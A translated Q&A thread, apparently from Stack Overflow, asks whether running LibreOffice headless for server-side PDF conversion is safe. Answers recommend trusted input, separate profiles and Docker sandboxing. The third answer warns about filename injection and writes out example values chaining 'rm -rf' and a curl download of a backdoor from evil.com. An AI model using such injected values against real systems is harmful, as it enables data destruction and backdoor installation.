【问题标题】：Is LibreOffice (headless) safe to use on a web server?在 Web 服务器上使用 LibreOffice（无头）是否安全？
【发布时间】：2019-03-08 20:47:38
【问题描述】：

我有 my-template.docx，我使用 OpenXml 将其转换为 my-report.docx，然后使用以下代码转换为 my-report.pdf：

soffice --headless --convert-to pdf my-report.docx

我不得不说这个功能非常受欢迎 ????。无论如何，对于 here（cli 文档）或 here（与 MS Office 的比较）或我的 other post，我找不到答案的一件事是 LibreOffice 是否可以安全用于自动化。

请参阅 Microsoft 的 this 帖子，该帖子说不要将 Word 用于服务器端自动化。这就引出了 LibreOffice 对于服务器端自动化是否安全的问题？基本上我将使用 C# 来运行 soffice --headless --convert-to pdf my-report.docx 任何时候收到报告请求。

这样安全吗？

*假设没有其他人试图阅读 my-report.docx

【问题讨论】：

标签： reporting libreoffice

【解决方案1】：

只要您控制输入文件的内容，就应该没有问题。请记住，LibreOffice 仅允许每个用户配置文件有一个活动实例，因此如果您希望能够并行处理多个文档，则应使用单独的用户配置文件。

如果您的输入数据不受信任，那么整个问题的回答就会变得更加复杂。虽然已经为保护代码库做了大量工作，但桌面办公套件仍然是一个巨大的软件，具有许多潜在的攻击面（宏、远程数据连接、旧的二进制文件格式……）。虽然所有这些功能都应该在无头操作中被阻止，但您必须相信没有未发现的错误。

Microsoft 文章中的其余几点不适用于 LibreOffice。无头模式旨在不与桌面环境交互，并且除了用户配置文件不会更改系统中的任何内容或依赖于任何与桌面相关的部分。默认构建仍将依赖于某些 GUI 库，但如果这确实成为问题，则可以使用实验性构建选项来构建不依赖任何 X/GTK/KDE 库的非 GUI 版本。

作为替代方案，还有一些基于 LibreOffice 构建的项目，它们试图通过预分叉或使用 LibreOfficeKit API 使转换文档更加容易，实际上可能更快。两个例子是JODConverter 或unoconv。

【讨论】：

这个理论是否适用于其他程序？像 inskape（pdf 到 png）
这个想法是相似的，但您需要再次查看所有点。我只知道 LibreOffice 源代码足以判断 LibreOffice 的这些要点。

【解决方案2】：

Moggi 的回答很棒。我唯一能补充的是：

您可以考虑通过在某种沙箱（例如 Docker）中运行 libreoffice (soffice) 实例来提高安全性。这意味着如果发生恶意事件，沙盒可以限制潜在的损害，
如果您的站点忙于生成 PDF，则每次启动该过程可能会产生开销。如果发生这种情况，使用层向上（如 JODConverter）可以启动一次使用多次。

希望对你有帮助。

【讨论】：

【解决方案3】：

我有 my-template.docx，我使用 OpenXml 将其转换为 my-report.docx，然后使用以下代码转换为 my-report.pdf：

soffice --headless --convert-to pdf my-report.docx

TL;在你的情况下是 DR。

您几乎可以肯定所做的是替换 DOCX 中的一些信息并使用 LibreOffice 将“不错”的转换为 PDF。虽然还有其他工具可能会做类似的事情（例如 wkhtmltopdf），但您并没有以我所知道的任何易受攻击的方式使用 LibreOffice（我也像您一样使用 LibreOffice）：

源文档在您的控制之下（没有用户输入的宏、远程文件包含、远程数据源或其他恶作剧）
您注入 DOCX 的值也在您的控制之下 - 或者是吗？ - 并且不包含用户输入，例如可能进入 PDF 的 HREF 目标。
无头模式下的 LibreOffice 不会公开任何可能被第三个进程利用的开放端口或接口。

可能仍然存在但不太可能的“利用”途径：

目标文件。我希望即使您向用户询问结果文件的名称，您仍然会做一些事情，例如创建一个唯一的 pdf 文件名，并将用户名发送为 Content-Disposition: attachment; filename="thatswhatshesaid";，not 使用用户的文件系统上的文件名并冒着将数据保存到byebye.pdf && rm -rf ...（或irrelevant.pdf\x00; curl -o index2.php http://evil.com/backdoor.php 或...）的风险，发回Location: downloads/whatshesaid.pdf。
XML 输出中的值非常大，可能会触发异常行为。发生这种情况以及以任何有意义的方式（对攻击者）这样做的可能性微乎其微，但检查仍然没有问题。

【讨论】：